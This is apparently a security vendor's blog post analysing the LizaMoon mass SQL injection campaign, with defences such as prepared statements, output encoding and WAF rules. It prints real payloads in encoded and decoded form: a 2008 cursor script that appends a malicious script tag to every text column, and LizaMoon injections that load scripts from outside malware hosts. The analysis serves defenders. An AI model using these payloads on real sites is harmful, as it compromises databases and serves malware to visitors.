Analysis of LizaMoon: Stored XSS via SQL Injection

Blended Attacks

More and more of today's web application attacks are leveraging multiple weaknesses, vulnerabilities and attack methods in order to achieve a desired exploitation outcome. It is becoming more and more difficult to neatly place an attack into one specific container (such as XSS, SQL Injection, etc...). These are blended attacks.

LizaMoon Attacks

As most of you have already heard, or have faced yourselves, the LizaMoon mass SQL Injection attacks are still going strong on the web. Here is a recent entry from the WASC Web Hacking Incident Database (WHID) -

WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site

Entry Title: WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site
WHID ID: 2011-61
Date Occurred: March 29, 2011
Attack Method: SQL Injection
Application Weakness: Improper Input Handling
Outcome: Planting of Malware
Attacked Entity Field: Multiple
Attacked Entity Geography:
Incident Description: Attackers have launched a large-scale SQL injection attack that has compromised several thousand legitimate Websites, including a few catalog pages from Apple's iTunes music store.
Mass Attack: Yes
Mass Attack Name: LizaMoon
Reference: http://www.eweek.com/c/a/Security/LizaMoon-Mass-SQL-Injection-Attack-Points-to-Rogue-AV-Site-852537/
Attack Source Geography:

SQL Injection or Cross-site Scripting?

While SQL Injection was used as the attack vector, it was merely a means to an end. The desired outcome of these attacks are to execute code within a web visitor's browser, which is the definition of Cross-site Scripting. It is important to keep this end goal in mind when considering mitigation options. So why are people focusing so much on the SQL Injection aspect of these attacks? One word - Scale.

Economies of Scale - Generic SQL Injection Payloads

Historically, criminals had a tough time creating SQL Injection payloads that would mass exploit web applications. This was mainly due to website running custom coded apps. No two sites were the same. This means that attackers didn't have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures. This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.

Mass SQL Injection Bots in 2008

In 2008, attackers figure out an ingenious method to generically inject SQL payloads into any vulnerable sites without prior knowledge of the database structure. They accomplish this by using multiple sql commands to essentially create a script that would generically gather then loop through all table names and append on some malicious javascript that points to malware on a 3rd party site.

A Skeleton Key attack payload if you will all in one request. Brutal...

Here is an example generic SQL injection payload from 2008 -

GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20
VARCHAR(4000);SET%20@S=CAST(0x4445434c41524520405420
5641524348415228323535292c4043205641524348415228323535
29204445434c415245205461626c655f437572736f722043555253
4f5220464f522053454c45435420612e6e616d652c622e6e616d652
046524f4d207379736f626a6563747320612c737973636f6c756d6
e73206220574845524520612e69643d622e696420414e4420612e
78747970653d27752720414e442028622e78747970653d393920
4f5220622e78747970653d3335204f5220622e78747970653d323
331204f5220622e78747970653d31363729204f50454e205461626
c655f437572736f72204645544348204e4558542046524f4d20546
1626c655f437572736f7220494e544f2040542c4043205748494c4
528404046455443485f5354415455533d302920424547494e20455
845432827555044415445205b272b40542b275d20534554205b27
2b40432b275d3d525452494d28434f4e56455254285641524348415
22834303030292c5b272b40432b275d29292b27273c7363726970
74207372633d73646f2e313030306d672e636e2f63737273732f77
2e6a733e3c2f7363726970743e27272729204645544348204e4558
542046524f4d205461626c655f437572736f7220494e544f2040542
c404320454e4420434c4f5345205461626c655f437572736f722044
45414c4c4f43415445205461626c655f437572736f7220%20AS%20
VARCHAR(4000));EXEC(@S);-- HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Language: en-US
Accept-Encoding: deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: www.example.com
Connection: Close

If we decode the HEX encoded SQL data, we see that this is actually a script command that loops through various DB table fields and then appends the XSS javascript code to them all -

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=sdo.1000mg.cn/csrss/w.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Current LizaMoon-type SQL Injection Payloads

We have analyzed a number of different examples from the current LizaMoon-type SQL Injection attacks and have noticed some differences from the previous examples of 2008. The main difference is that these new attack payloads are not generic scripts like the ones from 2008. These payloads are specific to each site. Here are two examples:

Sample #1 -

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Sample #1 Decoded -

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(</title><script src=http://google-stats49.info/ur.php>+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Notice that this SQL payload does not use the same generic for loop scripting and intstead focuses on specific DB fields (usd_ResponseDetails and categoryName).

Sample #2 -

prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(108)%2Bchar(105)%2Bchar(122)%2Bchar(97)%2Bchar(109)%2Bchar(111)%2Bchar(111)%2Bchar(110)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Sample #2 Decoded -

prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(</title><script src=http://lizamoon.com/ur.php></script>
+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Notice, again, that this SQL payload does not use the same generic for loop scripting and intstead focuses on different specific DB fields (tblMembers and Forename).

This means that, while these SQL Injection attacks are highly successful, they are not generic in nature and thus require some sort of SQL probing in order to identify the proper DB structure before sending the final attack payload.

Defending against SQL Injection

Step #1 - Input Validation

The first step in defending against this type of attack is to ensure that you are filtering client input and applying input validation mechanisms to ensure that the data is acceptable. The OWASP ModSecurity Core Rule Set (CRS) Project contains many different rules that identify these types of attacks. You can even follow this link to send the same payload to the online ModSecurity CRS demo page and see the various rules that trigger.

Step #2 - Use Prepared Statements with Bound Parameters

The underlying issue with SQL Injection attacks is that many SQL statements are dynamically created by simply concatenating client data into the query. You should review the OWASP SQL Injection Cheat-sheet document to get a better understanding of the issues.

Defending against XSS

Let's not forget that the actual goal of these attacks are XSS. These SQL Injection payloads are adding in rogue html javascript tags to response pages. Here are a few defensive items to consider.

OWASP XSS Prevention Cheat-sheet

Make sure that all developers review the OWASP XSS Prevention Cheat-sheet.

Output Encoding/Escaping

An intersting item to note with trying to identify the scale of these mass attacks is this -

The number of infected links returned by search engines only lists when sql injection was successful but the XSS payload injection wasn't.

Why is this? Take a look at an example Google Search question for LizaMoon payloads. Here is some example raw html of a site returned by the search:

<td id="tdDevelopmentName">Riyad Resort      &lt;/title&gt;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;&lt;/title&gt;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt; Gallery</td>

This code does not execute javascript but instead only renders the text. If the XSS script tags were successfully injected, meaning that the apps were not properly output encoding/escaping payloads, then the search engine spiders would not be indexing the snippets of code. The search engines do not index the raw html source code but only the rendered text.

So, even though sites listed in the search results were vulnerable to SQL Injection and compromised, they actually prevented the goal of this attack since the web app is properly output encoding the data sent to the clients.

Ensure proper Output Encoding/Escaping Coverage

After working with new customers who came to us after being compromised, we are finding some interesing root-cause/remediation scenarios. Even if an organization conducts proper application analysis to identify locations that hold user-supplied data, where they are echoed back to clients and then applying proper contextual output encoding, this may not be enough...

You may be saying "Huh?"

Due to the SQL Injection payload adding the malicious JS data to many back-end DB fields, the data may be injected into a field (such as the page Title data) that was never legitimately supposed to contain user-supplied data. The result is that organization must re-analyze their output escaping strategy to ensure that they have applied encoding to all possible fields.

Identifying Rogue JavaScript in Output

Regardless of inbound request data, security devices such as Web Application Firewalls (WAFs) can aid in the tracking of legitimate script tags contained within web pages. For instance, the Trustwave WebDefend WAF has the capability to identify when new script tags are successfully entered into response pages.

Identifying Malware Links in Response Pages

As outlined in the previous blog post ModSecurity Advanced Topic of the Week: Malware Link Detection, ModSecurity has a new API which allows it to utilize Google's Safe Browsing DB. This can help to prevent malicious links from being sent from your site onto clients.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.